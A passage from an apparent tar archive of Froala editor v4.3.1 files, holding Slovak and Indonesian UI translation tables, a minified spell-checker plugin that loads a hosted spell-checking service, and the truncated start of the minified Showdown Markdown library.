Justify': 'Zarovnať do bloku', 'None': 'Žiadne', // Lists 'Ordered List': 'Číslovaný zoznam', 'Default': 'Štandardné', 'Lower Alpha': 'Nižšia alfa', 'Lower Greek': 'Nižšie grécke', 'Lower Roman': 'Nižší roman', 'Upper Alpha': 'Horná alfa', 'Upper Roman': 'Horný román', 'Unordered List': 'Nečíslovaný zoznam', 'Circle': 'Kruh', 'Disc': 'Disk', 'Square': 'Štvorec', // Line height 'Line Height': 'Výška riadku', 'Single': 'Jednojitá', 'Double': 'Dvojitá', // Indent 'Decrease Indent': 'Zmenšiť odsadenie', 'Increase Indent': 'Zväčšiť odsadenie', // Links 'Insert Link': 'Vložiť odkaz', 'Open in new tab': 'Otvoriť v novom okne', 'Open Link': 'Otvoriť odkaz', 'Edit Link': 'Upraviť odkaz', 'Unlink': 'Odstrániť odkaz', 'Choose Link': 'Vyberte odkaz', // Images 'Insert Image': 'Vložiť obrázok', 'Upload Image': 'Nahrať obrázok', 'By URL': 'Z URL adresy', 'Browse': 'Vybrať', 'Drop image': 'Pretiahnite obrázok do tohto miesta', 'or click': 'alebo kliknite a vložte', 'Manage Images': 'Správa obrázkov', 'Loading': 'Nahrávam', 'Deleting': 'Odstraňujem', 'Tags': 'Značky', 'Are you sure? Image will be deleted.': 'Ste si istý? Obrázok bude odstranený.', 'Replace': 'Vymeniť', 'Uploading': 'Nahrávam', 'Loading image': 'Obrázok se načítavá', 'Display': 'Zobraziť', 'Inline': 'Inline', 'Break Text': 'Zalomenie textu', 'Alternative Text': 'Alternatívny text', 'Change Size': 'Zmeniť veľkosť', 'Width': 'Šírka', 'Height': 'Výška', 'Something went wrong. Please try again.': 'Niečo sa pokazilo. Prosím, skúste to znova.', 'Image Caption': 'Titulok obrázka', 'Advanced Edit': 'Pokročilá úprava', // Video 'Insert Video': 'Vložiť video', 'Embedded Code': 'Vložený kód', 'Paste in a video URL': 'Vložte do adresy URL videa', 'Drop video': 'Drop video', 'Your browser does not support HTML5 video.': 'Váš prehliadač nepodporuje video html5.', 'Upload Video': 'Nahrať video', // Tables 'Insert Table': 'Vložiť tabuľku', 'Table Header': 'Hlavička tabuľky', 'Remove Table': 'Odstraniť tabuľku', 'Table Style': 'Štýl tabuľky', 'Horizontal Align': 'Horizontálne zarovnanie', 'Row': 'Riadok', 'Insert row above': 'Vložiť riadok nad', 'Insert row below': 'Vložiť riadok pod', 'Delete row': 'Odstraniť riadok', 'Column': 'Stĺpec', 'Insert column before': 'Vložiť stĺpec vľavo', 'Insert column after': 'Vložiť stĺpec vpravo', 'Delete column': 'Odstraniť stĺpec', 'Cell': 'Bunka', 'Merge cells': 'Zlúčiť bunky', 'Horizontal split': 'Horizontálne rozdelenie', 'Vertical split': 'Vertikálne rozdelenie', 'Cell Background': 'Pozadie bunky', 'Vertical Align': 'Vertikálne zarovnání', 'Top': 'Hore', 'Middle': 'Vstrede', 'Bottom': 'Dole', 'Align Top': 'Zarovnat na hor', 'Align Middle': 'Zarovnat na stred', 'Align Bottom': 'Zarovnat na spodok', 'Cell Style': 'Štýl bunky', // Files 'Upload File': 'Nahrať súbor', 'Drop file': 'Vložte súbor sem', // Emoticons 'Emoticons': 'Emotikony', 'Grinning face': 'Tvár s úsmevom', 'Grinning face with smiling eyes': 'Tvár s úsmevom a očami', 'Face with tears of joy': 'Tvár so slzamy radosti', 'Smiling face with open mouth': 'Usmievajúca sa tvár s otvorenými ústami', 'Smiling face with open mouth and smiling eyes': 'Usmievajúca sa tvár s otvorenými ústami a očami', 'Smiling face with open mouth and cold sweat': 'Usmievajúca sa tvár s otvorenými ústami a studeným potom', 'Smiling face with open mouth and tightly-closed eyes': 'Usmievajúca sa tvár s otvorenými ústami a zavretými očami', 'Smiling face with halo': 'Usmievajúca sa tvár so svätožiarou', 'Smiling face with horns': 'Usmievajúca sa tvár s rohami', 'Winking face': 'Mrkajúca tvár', 'Smiling face with smiling eyes': 'Usmievajúca sa tvár s usmievajucími očami', 'Face savoring delicious food': 'Tvár vychutnávajúca si chutné jedlo', 'Relieved face': 'Spokojná tvár', 'Smiling face with heart-shaped eyes': 'Usmievajúca sa tvár s očami v tvare srdca', 'Smiling face with sunglasses': 'Usmievajúca sa tvár so slnečnými okuliarmi', 'Smirking face': 'Uškŕňajúca sa tvár', 'Neutral face': 'Neutrálna tvaŕ', 'Expressionless face': 'Bezvýrazná tvár', 'Unamused face': 'Nepobavená tvár', 'Face with cold sweat': 'Tvár so studeným potom', 'Pensive face': 'Zamyslená tvár', 'Confused face': 'Zmetená tvár', 'Confounded face': 'Nahnevaná tvár', 'Kissing face': 'Bozkavajúca tvár', 'Face throwing a kiss': 'Tvár hadzajúca pusu', 'Kissing face with smiling eyes': 'Bozkávajúca tvár s očami a úsmevom', 'Kissing face with closed eyes': 'Bozkávajúca tvár so zavretými očami', 'Face with stuck out tongue': 'Tvár s vyplazeným jazykom', 'Face with stuck out tongue and winking eye': 'Mrkajúca tvár s vyplazeným jazykom', 'Face with stuck out tongue and tightly-closed eyes': 'Tvár s vyplazeným jazykom a privretými očami', 'Disappointed face': 'Sklamaná tvár', 'Worried face': 'Obavajúca se tvár', 'Angry face': 'Nahnevaná tvár', 'Pouting face': 'Našpulená tvár', 'Crying face': 'Plačúca tvár', 'Persevering face': 'Húževnatá tvár', 'Face with look of triumph': 'Tvár s výrazom víťaza', 'Disappointed but relieved face': 'Sklamaná ale spokojná tvár', 'Frowning face with open mouth': 'Zamračená tvár s otvorenými ústami', 'Anguished face': 'Úzkostná tvár', 'Fearful face': 'Strachujúca sa tvár', 'Weary face': 'Unavená tvár', 'Sleepy face': 'Ospalá tvár', 'Tired face': 'Unavená tvár', 'Grimacing face': 'Tvár s grimasou', 'Loudly crying face': 'Nahlas pláčúca tvár', 'Face with open mouth': 'Tvár s otvoreným ústami', 'Hushed face': 'Mlčiaca tvár', 'Face with open mouth and cold sweat': 'Tvár s otvorenými ústami a studeným potom', 'Face screaming in fear': 'Tvár kričiaca strachom', 'Astonished face': 'Tvár v úžase', 'Flushed face': 'Sčervenanie v tvári', 'Sleeping face': 'Spiaca tvár', 'Dizzy face': 'Tvár vyjadrujúca závrat', 'Face without mouth': 'Tvár bez úst', 'Face with medical mask': 'Tvár s lekárskou maskou', // Line breaker 'Break': 'Zalomenie', // Math 'Subscript': 'Dolný index', 'Superscript': 'Horný index', // Full screen 'Fullscreen': 'Celá obrazovka', // Horizontal line 'Insert Horizontal Line': 'Vložiť vodorovnú čiaru', // Clear formatting 'Clear Formatting': 'Vymazať formátovanie', // Save 'Save': 'Uložiť', // Undo, redo 'Undo': 'Späť', 'Redo': 'Znova', // Select all 'Select All': 'Vybrať všetko', // Code view 'Code View': 'Zobraziť html kód', // Quote 'Quote': 'Citát', 'Increase': 'Zvýšiť', 'Decrease': 'Znížiť', // Quick Insert 'Quick Insert': 'Vložiť zrýchlene', // Spcial Characters 'Special Characters': 'Špeciálne znaky', 'Latin': 'Latinčina', 'Greek': 'Gréčtina', 'Cyrillic': 'Cyrilika', 'Punctuation': 'Interpunkcia', 'Currency': 'Mena', 'Arrows': 'Šípky', 'Math': 'Matematika', 'Misc': 'Rôzne', // Print. 'Print': 'Vytlačiť', // Spell Checker. 'Spell Checker': 'Kontrola pravopisu', // Help 'Help': 'Pomoc', 'Shortcuts': 'Skratky', 'Inline Editor': 'Inline editor', 'Show the editor': 'Zobraziť editor', 'Common actions': 'Spoločné akcie', 'Copy': 'Kópie', 'Cut': 'Rez', 'Paste': 'Vložiť', 'Basic Formatting': 'Základné formátovanie', 'Increase quote level': 'Zvýšiť úroveň cenovej ponuky', 'Decrease quote level': 'Znížiť úroveň cenovej ponuky', 'Image / Video': 'Obrázok / video', 'Resize larger': 'Zmena veľkosti', 'Resize smaller': 'Zmeniť veľkosť', 'Table': 'Tabuľka', 'Select table cell': 'Vyberte bunku tabuľky', 'Extend selection one cell': 'Rozšíriť výber o jednu bunku', 'Extend selection one row': 'Rozšíriť výber o jeden riadok', 'Navigation': 'Navigácia', 'Focus popup / toolbar': 'Predvybrať popup / panel s nástrojmi', 'Return focus to previous position': 'Vrátiť kurzor na predchádzajúcu pozíciu', // Embed.ly 'Embed URL': 'Vložiť adresu URL', 'Paste in a URL to embed': 'Vložte adresu URL pre vloženie', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Vložený obsah vychádza z dokumentu Microsoft Word. Chcete formát zachovať alebo ho vyčistiť?', 'Keep': 'Zachovať', 'Clean': 'Vyčistiť', 'Word Paste Detected': 'Detekované vloženie z Wordu' }, direction: 'ltr' }; }))); //# sourceMappingURL=sk.js.map languages/id.js 0000674 00000025351 00000000000 0007416 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Indonesian */ FE.LANGUAGE['id'] = { translation: { // Place holder 'Type something': 'Ketik sesuatu', // Basic formatting 'Bold': 'Tebal', 'Italic': 'Miring', 'Underline': 'Garis bawah', 'Strikethrough': 'Coret', // Main buttons 'Insert': 'Memasukkan', 'Delete': 'Hapus', 'Cancel': 'Batal', 'OK': 'Ok', 'Back': 'Kembali', 'Remove': 'Hapus', 'More': 'Lebih', 'Update': 'Memperbarui', 'Style': 'Gaya', // Font 'Font Family': 'Jenis Huruf', 'Font Size': 'Ukuran leter', // Colors 'Colors': 'Warna', 'Background': 'Latar belakang', 'Text': 'Teks', 'HEX Color': 'Warna hex', // Paragraphs 'Paragraph Format': 'Format', 'Normal': 'Normal', 'Code': 'Kode', 'Heading 1': 'Header 1', 'Heading 2': 'Header 2', 'Heading 3': 'Header 3', 'Heading 4': 'Header 4', // Style 'Paragraph Style': 'Paragraf gaya', 'Inline Style': 'Di barisan gaya', // Alignment 'Align': 'Rate', 'Align Left': 'Rate kiri', 'Align Center': 'Rate tengah', 'Align Right': 'Rata kanan', 'Align Justify': 'Justifi', 'None': 'Tak satupun', // Lists 'Ordered List': 'List nomor', 'Unordered List': 'List simbol', // Indent 'Decrease Indent': 'Turunkan inden', 'Increase Indent': 'Tambah inden', // Links 'Insert Link': 'Memasukkan link', 'Open in new tab': 'Buka di tab baru', 'Open Link': 'Buka tautan', 'Edit Link': 'Mengedit link', 'Unlink': 'Menghapus link', 'Choose Link': 'Memilih link', // Images 'Insert Image': 'Memasukkan gambar', 'Upload Image': 'Meng-upload gambar', 'By URL': 'Oleh URL', 'Browse': 'Melihat-lihat', 'Drop image': 'Jatuhkan gambar', 'or click': 'atau klik', 'Manage Images': 'Mengelola gambar', 'Loading': 'Pemuatan', 'Deleting': 'Menghapus', 'Tags': 'Label', 'Are you sure? Image will be deleted.': 'Apakah Anda yakin? Gambar akan dihapus.', 'Replace': 'Mengganti', 'Uploading': 'Gambar upload', 'Loading image': 'Pemuatan gambar', 'Display': 'Pameran', 'Inline': 'Di barisan', 'Break Text': 'Memecah teks', 'Alternative Text': 'Teks alternatif', 'Change Size': 'Ukuran perubahan', 'Width': 'Lebar', 'Height': 'Tinggi', 'Something went wrong. Please try again.': 'Ada yang salah. Silakan coba lagi.', 'Image Caption': 'Keterangan gambar', 'Advanced Edit': 'Edit lanjutan', // Video 'Insert Video': 'Memasukkan video', 'Embedded Code': 'Kode tertanam', 'Paste in a video URL': 'Paste di url video', 'Drop video': 'Jatuhkan video', 'Your browser does not support HTML5 video.': 'Browser Anda tidak mendukung video html5.', 'Upload Video': 'Mengunggah video', // Tables 'Insert Table': 'Sisipkan tabel', 'Table Header': 'Header tabel', 'Remove Table': 'Hapus tabel', 'Table Style': 'Gaya tabel', 'Horizontal Align': 'Menyelaraskan horisontal', 'Row': 'Baris', 'Insert row above': 'Sisipkan baris di atas', 'Insert row below': 'Sisipkan baris di bawah', 'Delete row': 'Hapus baris', 'Column': 'Kolom', 'Insert column before': 'Sisipkan kolom sebelumSisipkan kolom sebelum', 'Insert column after': 'Sisipkan kolom setelah', 'Delete column': 'Hapus kolom', 'Cell': 'Sel', 'Merge cells': 'Menggabungkan sel', 'Horizontal split': 'Perpecahan horisontal', 'Vertical split': 'Perpecahan vertikal', 'Cell Background': 'Latar belakang sel', 'Vertical Align': 'Menyelaraskan vertikal', 'Top': 'Teratas', 'Middle': 'Tengah', 'Bottom': 'Bagian bawah', 'Align Top': 'Menyelaraskan atas', 'Align Middle': 'Menyelaraskan tengah', 'Align Bottom': 'Menyelaraskan bawah', 'Cell Style': 'Gaya sel', // Files 'Upload File': 'Meng-upload berkas', 'Drop file': 'Jatuhkan berkas', // Emoticons 'Emoticons': 'Emoticon', 'Grinning face': 'Sambil tersenyum wajah', 'Grinning face with smiling eyes': 'Sambil tersenyum wajah dengan mata tersenyum', 'Face with tears of joy': 'Hadapi dengan air mata sukacita', 'Smiling face with open mouth': 'Tersenyum wajah dengan mulut terbuka', 'Smiling face with open mouth and smiling eyes': 'Tersenyum wajah dengan mulut terbuka dan tersenyum mata', 'Smiling face with open mouth and cold sweat': 'Tersenyum wajah dengan mulut terbuka dan keringat dingin', 'Smiling face with open mouth and tightly-closed eyes': 'Tersenyum wajah dengan mulut terbuka dan mata tertutup rapat', 'Smiling face with halo': 'Tersenyum wajah dengan halo', 'Smiling face with horns': 'Tersenyum wajah dengan tanduk', 'Winking face': 'Mengedip wajah', 'Smiling face with smiling eyes': 'Tersenyum wajah dengan mata tersenyum', 'Face savoring delicious food': 'Wajah menikmati makanan lezat', 'Relieved face': 'Wajah Lega', 'Smiling face with heart-shaped eyes': 'Tersenyum wajah dengan mata berbentuk hati', 'Smiling face with sunglasses': 'Tersenyum wajah dengan kacamata hitam', 'Smirking face': 'Menyeringai wajah', 'Neutral face': 'Wajah Netral', 'Expressionless face': 'Wajah tanpa ekspresi', 'Unamused face': 'Wajah tidak senang', 'Face with cold sweat': 'Muka dengan keringat dingin', 'Pensive face': 'Wajah termenung', 'Confused face': 'Wajah Bingung', 'Confounded face': 'Wajah kesal', 'Kissing face': 'wajah mencium', 'Face throwing a kiss': 'Wajah melempar ciuman', 'Kissing face with smiling eyes': 'Berciuman wajah dengan mata tersenyum', 'Kissing face with closed eyes': 'Berciuman wajah dengan mata tertutup', 'Face with stuck out tongue': 'Muka dengan menjulurkan lidah', 'Face with stuck out tongue and winking eye': 'Muka dengan menjulurkan lidah dan mengedip mata', 'Face with stuck out tongue and tightly-closed eyes': 'Wajah dengan lidah terjebak dan mata erat-tertutup', 'Disappointed face': 'Wajah kecewa', 'Worried face': 'Wajah Khawatir', 'Angry face': 'Wajah Marah', 'Pouting face': 'Cemberut wajah', 'Crying face': 'Menangis wajah', 'Persevering face': 'Tekun wajah', 'Face with look of triumph': 'Hadapi dengan tampilan kemenangan', 'Disappointed but relieved face': 'Kecewa tapi lega wajah', 'Frowning face with open mouth': 'Sambil mengerutkan kening wajah dengan mulut terbuka', 'Anguished face': 'Wajah sedih', 'Fearful face': 'Wajah Takut', 'Weary face': 'Wajah lelah', 'Sleepy face': 'wajah mengantuk', 'Tired face': 'Wajah Lelah', 'Grimacing face': 'Sambil meringis wajah', 'Loudly crying face': 'Keras menangis wajah', 'Face with open mouth': 'Hadapi dengan mulut terbuka', 'Hushed face': 'Wajah dipetieskan', 'Face with open mouth and cold sweat': 'Hadapi dengan mulut terbuka dan keringat dingin', 'Face screaming in fear': 'Hadapi berteriak dalam ketakutan', 'Astonished face': 'Wajah Kaget', 'Flushed face': 'Wajah memerah', 'Sleeping face': 'Tidur face', 'Dizzy face': 'Wajah pusing', 'Face without mouth': 'Wajah tanpa mulut', 'Face with medical mask': 'Hadapi dengan masker medis', // Line breaker 'Break': 'Memecah', // Math 'Subscript': 'Subskrip', 'Superscript': 'Superskrip', // Full screen 'Fullscreen': 'Layar penuh', // Horizontal line 'Insert Horizontal Line': 'Sisipkan Garis Horizontal', // Clear formatting 'Clear Formatting': 'Menghapus format', // Save 'Save': 'Menyimpan', // Undo, redo 'Undo': 'Batal', 'Redo': 'Ulang', // Select all 'Select All': 'Pilih semua', // Code view 'Code View': 'Melihat kode', // Quote 'Quote': 'Kutipan', 'Increase': 'Meningkat', 'Decrease': 'Penurunan', // Quick Insert 'Quick Insert': 'Memasukkan cepat', // Spcial Characters 'Special Characters': 'Karakter spesial', 'Latin': 'Latin', 'Greek': 'Yunani', 'Cyrillic': 'Kyrillic', 'Punctuation': 'Tanda baca', 'Currency': 'Mata uang', 'Arrows': 'Panah', 'Math': 'Matematika', 'Misc': 'Misc', // Print. 'Print': 'Mencetak', // Spell Checker. 'Spell Checker': 'Pemeriksa ejaan', // Help 'Help': 'Membantu', 'Shortcuts': 'Jalan pintas', 'Inline Editor': 'Editor inline', 'Show the editor': 'Tunjukkan editornya', 'Common actions': 'Tindakan umum', 'Copy': 'Salinan', 'Cut': 'Memotong', 'Paste': 'Pasta', 'Basic Formatting': 'Format dasar', 'Increase quote level': 'Meningkatkan tingkat kutipan', 'Decrease quote level': 'Menurunkan tingkat kutipan', 'Image / Video': 'Gambar / video', 'Resize larger': 'Mengubah ukuran lebih besar', 'Resize smaller': 'Mengubah ukuran lebih kecil', 'Table': 'Meja', 'Select table cell': 'Pilih sel tabel', 'Extend selection one cell': 'Memperpanjang seleksi satu sel', 'Extend selection one row': 'Perpanjang pilihan satu baris', 'Navigation': 'Navigasi', 'Focus popup / toolbar': 'Fokus popup / toolbar', 'Return focus to previous position': 'Kembali fokus ke posisi sebelumnya', // Embed.ly 'Embed URL': 'Embed url', 'Paste in a URL to embed': 'Paste di url untuk menanamkan', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Konten yang disisipkan berasal dari dokumen kata microsoft. apakah Anda ingin menyimpan format atau membersihkannya?', 'Keep': 'Menjaga', 'Clean': 'Bersih', 'Word Paste Detected': 'Kata paste terdeteksi', // Character Counter 'Characters': 'Karakter', // More Buttons 'More Text': 'Lebih banyak teks', 'More Paragraph': 'Lebih banyak paragraf', 'More Rich': 'Lebih banyak Kaya', 'More Misc': 'Lebih banyak Lain-lain' }, direction: 'ltr' }; }))); //# sourceMappingURL=id.js.map third_party/spell_checker.min.js 0000674 00000006702 00000000000 0012771 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(p){"use strict";(p=p&&p.hasOwnProperty("default")?p["default"]:p).DEFAULT_SCAYT_OPTIONS={enableOnTouchDevices:!1,disableOptionsStorage:["all"],localization:"en",extraModules:"ui",DefaultSelection:"American English",spellcheckLang:"en_US",contextMenuSections:"suggest|moresuggest",serviceProtocol:"https",servicePort:"80",serviceHost:"svc.webspellchecker.net",servicePath:"spellcheck/script/ssrv.cgi",contextMenuForMisspelledOnly:!0,scriptPath:"https://svc.webspellchecker.net/spellcheck31/wscbundle/wscbundle.js"},Object.assign(p.DEFAULTS,{scaytAutoload:!1,scaytCustomerId:"1:ldogw1-MSDuT3-slyfO-0YJgB1-Wx7262-HIT741-MAMDv4-10qfb3-A4LDP-c60m3-hSQgd2-az2",scaytOptions:{}}),p.PLUGINS.spellChecker=function(s){var l;function e(e){if(l&&l.isDisabled){var t=!l.isDisabled();e.toggleClass("fr-active",t).attr("aria-pressed",t),s.$el.attr("spellcheck",s.opts.spellcheck&&!t)}}function t(e){l&&l.isDisabled&&!l.isDisabled()&&0<=["bold","italic","underline","strikeThrough","subscript","superscript","fontFamily","fontSize","html"].indexOf(e)&&l.removeMarkupInSelectionNode({removeInside:!0})}function o(e){l&&l.isDisabled&&!l.isDisabled()&&0<=["bold","italic","underline","strikeThrough","subscript","superscript","fontFamily","fontSize","html"].indexOf(e)&&l.reloadMarkup()}function a(e){l&&l.isDisabled&&!l.isDisabled()&&(e.which==p.KEYCODE.ENTER&&setTimeout(l.reloadMarkup,0))}function i(e){if(e&&e.getAttribute&&e.getAttribute("data-scayt-word"))e.outerHTML=e.innerHTML;else if(e&&e.nodeType==Node.ELEMENT_NODE)for(var t=e.querySelectorAll("[data-scayt-word], [data-spelling-word]"),s=0;s<t.length;s++)t[s].outerHTML=t[s].innerHTML}function r(){s.events.on("commands.before",t),s.events.on("commands.after",o),s.events.on("keydown",a,!0),s.events.on("html.processGet",i),e(s.$tb.find('[data-cmd="spellChecker"]'))}function n(){var e=s.opts.scaytOptions;e.customerId=s.opts.scaytCustomerId,e.container=s.$iframe?s.$iframe.get(0):s.$el.get(0),e.autoStartup=s.opts.scaytAutoload,e.onLoad=r,null!==s.opts.language&&(s.opts.spellCheckerLanguage=s.opts.language),!0===s.opts.scaytAutoload&&(s.opts.spellcheck=!1),l=new SCAYT.CUSTOMSCAYT(e)}return{_init:function c(){if(!s.$wp)return!1;if(s.opts.scaytOptions=Object.assign({},p.DEFAULT_SCAYT_OPTIONS,s.opts.scaytOptions),"undefined"!=typeof SCAYT)n();else if(s.shared.spellCheckerLoaded||(s.shared.spellCheckerCallbacks=[]),s.shared.spellCheckerCallbacks.push(n),!s.shared.spellCheckerLoaded){s.shared.spellCheckerLoaded=!0;var e=document.createElement("script");e.type="text/javascript",e.src=s.opts.scaytOptions.scriptPath,e.innerText="",e.onload=function(){for(var e=0;e<s.shared.spellCheckerCallbacks.length;e++)s.shared.spellCheckerCallbacks[e]()},document.getElementsByTagName("head")[0].appendChild(e)}},refresh:e,toggle:function d(){l&&l.isDisabled&&l.setDisabled(!l.isDisabled())}}},p.DefineIcon("spellChecker",{NAME:"keyboard-o",FA5NAME:"keyboard",SVG_KEY:"spellcheck"}),p.RegisterCommand("spellChecker",{title:"Spell Checker",undo:!1,focus:!1,accessibilityFocus:!0,forcedRefresh:!0,toggle:!0,callback:function(){this.spellChecker.toggle()},refresh:function(e){this.spellChecker.refresh(e)},plugin:"spellChecker"})}); third_party/showdown.min.js 0000674 00000245567 00000000000 0012054 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,r){"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define(r):e.Showdown=r()}(this,function(){"use strict";function p(e){return(p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function t(e){var r={omitExtraWLInCodeBlocks:{defaultValue:!1,describe:"Omit the default extra whiteline added to code blocks",type:"boolean"},noHeaderId:{defaultValue:!1,describe:"Turn on/off generated header id",type:"boolean"},prefixHeaderId:{defaultValue:!1,describe:"Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic 'section-' prefix",type:"string"},rawPrefixHeaderId:{defaultValue:!1,describe:'Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the " char is used in the prefix)',type:"boolean"},ghCompatibleHeaderId:{defaultValue:!1,describe:"Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)",type:"boolean"},rawHeaderId:{defaultValue:!1,describe:"Remove only spaces, ' and \" from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids",type:"boolean"},headerLevelStart:{defaultValue:!1,describe:"The header blocks level start",type:"integer"},parseImgDimensions:{defaultValue:!1,describe:"Turn on/off image dimension parsing",type:"boolean"},simplifiedAutoLink:{defaultValue:!1,describe:"Turn on/off GFM autolink style",type:"boolean"},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:"Excludes trailing punctuation from links generated with autoLinking",type:"boolean"},literalMidWordUnderscores:{defaultValue:!1,describe:"Parse midword underscores as literal underscores",type:"boolean"},literalMidWordAsterisks:{defaultValue:!1,describe:"Parse midword asterisks as literal asterisks",type:"boolean"},strikethrough:{defaultValue:!1,describe:"Turn on/off strikethrough support",type:"boolean"},tables:{defaultValue:!1,describe:"Turn on/off tables support",type:"boolean"},tablesHeaderId:{defaultValue:!1,describe:"Add an id to table headers",type:"boolean"},ghCodeBlocks:{defaultValue:!0,describe:"Turn on/off GFM fenced code blocks support",type:"boolean"},tasklists:{defaultValue:!1,describe:"Turn on/off GFM tasklist support",type:"boolean"},smoothLivePreview:{defaultValue:!1,describe:"Prevents weird effects in live previews due to incomplete input",type:"boolean"},smartIndentationFix:{defaultValue:!1,description:"Tries to smartly fix indentation in es6 strings",type:"boolean"},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:"Disables the requirement of indenting nested sublists by 4 spaces",type:"boolean"},simpleLineBreaks:{defaultValue:!1,description:"Parses simple line breaks as <br> (GFM Style)",type:"boolean"},requireSpaceBeforeHeadingText:{defaultValue:!1,description:"Makes adding a space between `#` and the header text mandatory (GFM Style)",type:"boolean"},ghMentions:{defaultValue:!1,description:"Enables github @mentions",type:"boolean"},ghMentionsLink:{defaultValue:"https://github.com/{u}",description:"Changes the link generated by @mentions. Only applies if ghMentions option is enabled.",type:"string"},encodeEmails:{defaultValue:!0,description:"Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities",type:"boolean"},openLinksInNewWindow:{defaultValue:!1,description:"Open all links in new windows",type:"boolean"},backslashEscapesHTMLTags:{defaultValue:!1,description:"Support for HTML Tag escaping. ex: <div>foo</div>",type:"boolean"},emoji:{defaultValue:!1,description:"Enable emoji support. Ex: `this is a :smile: emoji`",type:"boolean"},underline:{defaultValue:!1,description:"Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `<em>` and `<strong>`",type:"boolean"},completeHTMLDocument:{defaultValue:!1,description:"Outputs a complete html document, including `<html>`, `<head>` and `<body>` tags",type:"boolean"},metadata:{defaultValue:!1,description:"Enable support for document metadata (defined at the top of the document between `\xab\xab\xab` and `\xbb\xbb\xbb` or between `---` and `---`).",type:"boolean"},splitAdjacentBlockquotes:{defaultValue:!1,description:"Split adjacent blockquote blocks",type:"boolean"}};if(!1===e)return JSON.parse(JSON.stringify(r));var a={};for(var t in r)r.hasOwnProperty(t)&&(a[t]=r[t].defaultValue);return a}var w={},a={},h={},_=t(!0),g="vanilla",m={github:{omitExtraWLInCodeBlocks:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,disableForced4SpacesIndentedSublists:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghCompatibleHeaderId:!0,ghMentions:!0,backslashEscapesHTMLTags:!0,emoji:!0,splitAdjacentBlockquotes:!0},original:{noHeaderId:!0,ghCodeBlocks:!1},ghost:{omitExtraWLInCodeBlocks:!0,parseImgDimensions:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,smoothLivePreview:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghMentions:!1,encodeEmails:!0},vanilla:t(!0),allOn:function k(){var e=t(!0),r={};for(var a in e)e.hasOwnProperty(a)&&(r[a]=!0);return r}()};function f(e,r){var a=r?"Error in "+r+" extension->":"Error in unnamed extension",t={valid:!0,error:""};w.helper.isArray(e)||(e=[e]);for(var n=0;n<e.length;++n){var o=a+" sub-extension "+n+": ",s=e[n];if("object"!==p(s))return t.valid=!1,t.error=o+"must be an object, but "+p(s)+" given",t;if(!w.helper.isString(s.type))return t.valid=!1,t.error=o+'property "type" must be a string, but '+p(s.type)+" given",t;var i=s.type=s.type.toLowerCase();if("language"===i&&(i=s.type="lang"),"html"===i&&(i=s.type="output"),"lang"!==i&&"output"!==i&&"listener"!==i)return t.valid=!1,t.error=o+"type "+i+' is not recognized. Valid values: "lang/language", "output/html" or "listener"',t;if("listener"===i){if(w.helper.isUndefined(s.listeners))return t.valid=!1,t.error=o+'. Extensions of type "listener" must have a property called "listeners"',t}else if(w.helper.isUndefined(s.filter)&&w.helper.isUndefined(s.regex))return t.valid=!1,t.error=o+i+' extensions must define either a "regex" property or a "filter" method',t;if(s.listeners){if("object"!==p(s.listeners))return t.valid=!1,t.error=o+'"listeners" property must be an object but '+p(s.listeners)+" given",t;for(var l in s.listeners)if(s.listeners.hasOwnProperty(l)&&"function"!=typeof s.listeners[l])return t.valid=!1,t.error=o+'"listeners" property must be an hash of [event name]: [callback]. listeners.'+l+" must be a function but "+p(s.listeners[l])+" given",t}if(s.filter){if("function"!=typeof s.filter)return t.valid=!1,t.error=o+'"filter" must be a function, but '+p(s.filter)+" given",t}else if(s.regex){if(w.helper.isString(s.regex)&&(s.regex=new RegExp(s.regex,"g")),!(s.regex instanceof RegExp))return t.valid=!1,t.error=o+'"regex" property must either be a string or a RegExp object, but '+p(s.regex)+" given",t;if(w.helper.isUndefined(s.replace))return t.valid=!1,t.error=o+'"regex" extensions must implement a replace string or function',t}}return t}function o(e,r){return"\xa8E"+r.charCodeAt(0)+"E"}w.helper={},w.extensions={},w.setOption=function(e,r){return _[e]=r,this},w.getOption=function(e){return _[e]},w.getOptions=function(){return _},w.resetOptions=function(){_=t(!0)},w.setFlavor=function(e){if(!m.hasOwnProperty(e))throw Error(e+" flavor was not 